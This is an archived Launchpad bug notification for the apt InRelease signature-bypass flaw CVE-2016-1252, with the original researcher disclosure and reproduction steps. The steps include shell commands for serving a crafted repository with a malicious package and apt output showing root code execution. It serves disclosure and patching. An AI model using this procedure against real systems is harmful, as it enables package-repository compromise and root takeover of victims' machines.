← Back to team overview

group.of.nepali.translators team mailing list archive

[Bug 1647467] Re: InRelease file splitter treats getline() errors as EOF

 

This bug was fixed in the package apt - 1.0.1ubuntu2.17

---------------
apt (1.0.1ubuntu2.17) trusty-security; urgency=high

  * SECURITY UPDATE: gpgv: Check for errors when splitting files (CVE-2016-1252)
    Thanks to Jann Horn, Google Project Zero for reporting the issue
    (LP: #1647467)

 -- Julian Andres Klode <juliank@xxxxxxxxxx>  Thu, 08 Dec 2016 15:31:29
+0100

** Changed in: apt (Ubuntu Trusty)
       Status: New => Fix Released

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1647467

Title:
  InRelease file splitter treats getline() errors as EOF

Status in apt package in Ubuntu:
  Fix Committed
Status in apt source package in Trusty:
  Fix Released
Status in apt source package in Xenial:
  Fix Released
Status in apt source package in Yakkety:
  Fix Released
Status in apt source package in Zesty:
  Fix Committed

Bug description:
  We have just been made aware of a security bug upstream that affects
  the validation of signatures on InRelease file. This bug is to track
  progress for it.

  It allows for attacking a repository via MITM attacks, circumventing
  the signature of the InRelease file.

  It works by making a call to getline() fail with ENOMEM, which is not
  documented as an error for that but follows from the fact that
  getline() can allocate memory. In such a case, apt would treat the
  first part of the file as a valid release file.

  
  = Original bug report =
  From: Jann Horn <jannh@xxxxxxxxxx>
  To: security@xxxxxxxxxx
  Cc: 
  Date: Mon, 5 Dec 2016 18:33:09 +0100
  Subject: apt: repository signing bypass via memory allocation failure

  == Vulnerability ==
  When apt-get updates a repository that uses an InRelease file (clearsigned
  Release files), this file is processed as follows:
  First, the InRelease file is downloaded to disk.
  In a subprocess running the gpgv helper, "apt-key verify" (with some more
  arguments) is executed through the following callchain:

  gpgv.cc:main -> pkgAcqMethod::Run -> GPGVMethod::URIAcquire
    -> GPGVMethod::VerifyGetSigners -> ExecGPGV

  ExecGPGV() splits the clearsigned file into payload and signature using
  SplitClearSignedFile(), calls apt-key on these two files to perform the
  cryptographic signature verification, then discards the split files and only
  retains the clearsigned original. SplitClearSignedFile() ignores leading and
  trailing garbage.

  Afterwards, in the parent process, the InRelease file has to be loaded again
  so that its payload can be processed. At this point, the code
  isn't aware anymore whether the Release file was clearsigned or
  split-signed, so the file is opened using OpenMaybeClearSignedFile(), which
  first attempts to parse the file as a clearsigned (InRelease) file and extract
  the payload, then falls back to treating the file as the file as a split-signed
  (Release) file if the file format couldn't be recognized.

  The weakness here is: If an attacker can create an InRelease file that
  is parsed as a proper split-signed file during signature validation, but then
  isn't recognized by OpenMaybeClearSignedFile(), the "leading garbage" that was
  ignored by the signature validation is interpreted as repository metadata,
  bypassing the signing scheme.

  It first looks as if it would be impossible to create a file that is recognized
  as split-signed by ExecGPGV(), but isn't recognized by
  OpenMaybeClearSignedFile(), because both use the same function,
  SplitClearSignedFile(), for parsing the file. However, multiple executions of
  SplitClearSignedFile() on the same data can actually have different non-error
  results because of a bug.
  SplitClearSignedFile() uses getline() to parse the input file. A return code
  of -1, which signals that either EOF or an error occured, is always treated
  as EOF. The Linux manpage only lists EINVAL (caused by bad arguments) as
  possible error code, but because the function allocates (nearly) unbounded
  amounts of memory, it can actually also fail with ENOMEM if it runs out of
  memory.
  Therefore, if an attacker can cause the address space in the main apt-get
  process to be sufficiently constrained to prevent allocation of a large line
  buffer while the address space of the gpgv helper process is less constrained
  and permits the allocation of a buffer with the same size, the attacker can use
  this to fake an end-of-file condition in SplitClearSignedFile() that causes the
  file to be parsed as a normal Release file.

  A very crude way to cause such a constraint on a 32-bit machine is based on
  abusing ASLR. Because ASLR randomizes the address space after each execve(),
  thereby altering how much contiguous virtual memory is available, an allocation
  that attempts to use the average available virtual memory should ideally succeed
  50% of the time, resulting in an upper limit of 25% for the success rate of the
  whole attack. (That's not very effective, and a real attacker would likely want
  a much higher success rate, but it works for a proof of concept.)
  This is not necessarily a limitation of the vulnerability, just a limitation
  of the way the exploit is designed.

  I think that it would make sense to fix this as follows:
   - Set errno to 0 before calling getline(), verify that it's still 0 after
     returning -1, treat it as an error if errno isn't 0 anymore.
   - Consider splitting the InRelease file only once, before signature validation,
     and then deleting the original clearsigned file instead of the payload file.
     This would get rid of the weakness that the file is parsed twice and parsing
     differences can have security consequences, which is a pretty brittle design.
   - I'm not sure whether this bug would have been exploitable if the parser for
     split files or the parser for Release files had been stricter. You might want
     to consider whether you could harden this code that way.

  == Reproduction instructions ==
  These steps are probably more detailed than necessary.

  First, prepare a clean Debian VM for the victim:

   - download debian-8.6.0-i386-netinst.iso (it is important that this
     is i386 and not amd64)
   - install Virtualbox (I'm using version 4.6.36 from Ubuntu)
   - create a new VM with the following properties:
    - type "Linux", version "Debian (32-bit)"
    - 8192 MB RAM (this probably doesn't matter much, especially
      if you enable swap)
    - create a new virtual harddrive, size 20GB (also doesn't matter much)
   - launch the VM, insert the CD
   - pick graphical install
   - in the installer, use defaults everywhere, apart from enabling Xfce
     in the software selection

  After installation has finished, log in, launch a terminal,
  "sudo nano /etc/apt/sources.list", change the "deb" line for jessie-updates
  so that it points to some unused port on the host machine instead of
  the proper mirror
  ("deb http://192.168.0.2:1337/debian/ jessie-updates main" or so).
  This simulates a MITM attack or compromised mirror.

  On the host (as the attacker):

  $ tar xvf apt_sig_bypass.tar
  apt_sig_bypass/
  apt_sig_bypass/debian/
  apt_sig_bypass/debian/netcat-evil.deb
  apt_sig_bypass/debian/dists/
  apt_sig_bypass/debian/dists/jessie-updates/
  apt_sig_bypass/debian/dists/jessie-updates/InRelease.part1
  apt_sig_bypass/debian/dists/jessie-updates/main/
  apt_sig_bypass/debian/dists/jessie-updates/main/binary-i386/
  apt_sig_bypass/debian/dists/jessie-updates/main/binary-i386/Packages
  apt_sig_bypass/make_inrelease.py
  $ cd apt_sig_bypass/
  $ curl --output debian/dists/jessie-updates/InRelease.part2
  http://ftp.us.debian.org/debian/dists/jessie-updates/InRelease
    % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                   Dload  Upload   Total   Spent    Left  Speed
  100  141k  100  141k    0     0   243k      0 --:--:-- --:--:-- --:--:--  243k
  $ ./make_inrelease.py
  $ ls -lh debian/dists/jessie-updates/InRelease
  -rw-r--r-- 1 user user 1.3G Dec  5 17:13 debian/dists/jessie-updates/InRelease
  $ python -m SimpleHTTPServer 1337 .
  Serving HTTP on 0.0.0.0 port 1337 ...

  Now, in the VM, as root, run "apt-get update".
  It will probably fail - run it again until it doesn't fail anymore.
  The errors that can occur are "Clearsigned file isn't valid" (when the
  allocation during gpg verification fails) and some message about
  a hash mismatch (when both allocations succeed). After "apt-get update"
  has succeeded, run "apt-get upgrade" and confirm the upgrade. The result should
  look like this (server IP censored, irrelevant output removed and marked with
  "[...]"):

  root@debian:/home/user# apt-get update
  Get:1 http://{{{SERVERIP}}}:1337 jessie-updates InRelease [1,342 MB]
  [...]
  Hit http://ftp.us.debian.org jessie-updates InRelease
  [...]
  100% [1 InRelease gpgv 1,342 MB]
                  28.6 MB/s 0sSplitting up
  /var/lib/apt/lists/partial/{{{SERVERIP}}}:1337_debian_dists_jessie-updates_InRelease
  intIgn http://{{{SERVERIP}}}:1337 jessie-updates InRelease
  E: GPG error: http://{{{SERVERIP}}}:1337 jessie-updates InRelease:
  Clearsigned file isn't valid, got 'NODATA' (does the network require
  authentication?)

  root@debian:/home/user# apt-get update
  [...]
  Get:1 http://{{{SERVERIP}}}:1337 jessie-updates InRelease [1,342 MB]
  [...]
  Hit http://ftp.us.debian.org jessie-updates InRelease
  Get:4 http://{{{SERVERIP}}}:1337 jessie-updates/main i386 Packages [170 B]
  [...]
  Fetched 1,349 MB in 55s (24.4 MB/s)
  Reading package lists... Done

  root@debian:/home/user# apt-get upgrade
  Reading package lists... Done
  Building dependency tree
  Reading state information... Done
  Calculating upgrade... Done
  The following packages will be upgraded:
    netcat-traditional
  1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
  Need to get 666 B of archives.
  After this operation, 109 kB disk space will be freed.
  Do you want to continue? [Y/n]
  Get:1 http://{{{SERVERIP}}}:1337/debian/ jessie-updates/main
  netcat-traditional i386 9000 [666 B]
  Fetched 666 B in 0s (0 B/s)
  Reading changelogs... Done
  dpkg: warning: parsing file '/var/lib/dpkg/tmp.ci/control' near line 5
  package 'netcat-traditional':
   missing description
  dpkg: warning: parsing file '/var/lib/dpkg/tmp.ci/control' near line 5
  package 'netcat-traditional':
   missing maintainer
  (Reading database ... 86469 files and directories currently installed.)
  Preparing to unpack .../netcat-traditional_9000_i386.deb ...
  arbitrary code execution reached
  uid=0(root) gid=0(root) groups=0(root)
  [...]

  As you can see, if the attacker gets lucky with the ASLR randomization, there
  are no security warnings and "apt-get upgrade" simply installs the malicious
  version of the package. (The dpkg warnings are just because I created a minimal
  package file, without some of the usual information.)

  This bug is subject to a 90 day disclosure deadline. If 90 days elapse
  without a broadly available patch, then the bug report will automatically
  become visible to the public.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1647467/+subscriptions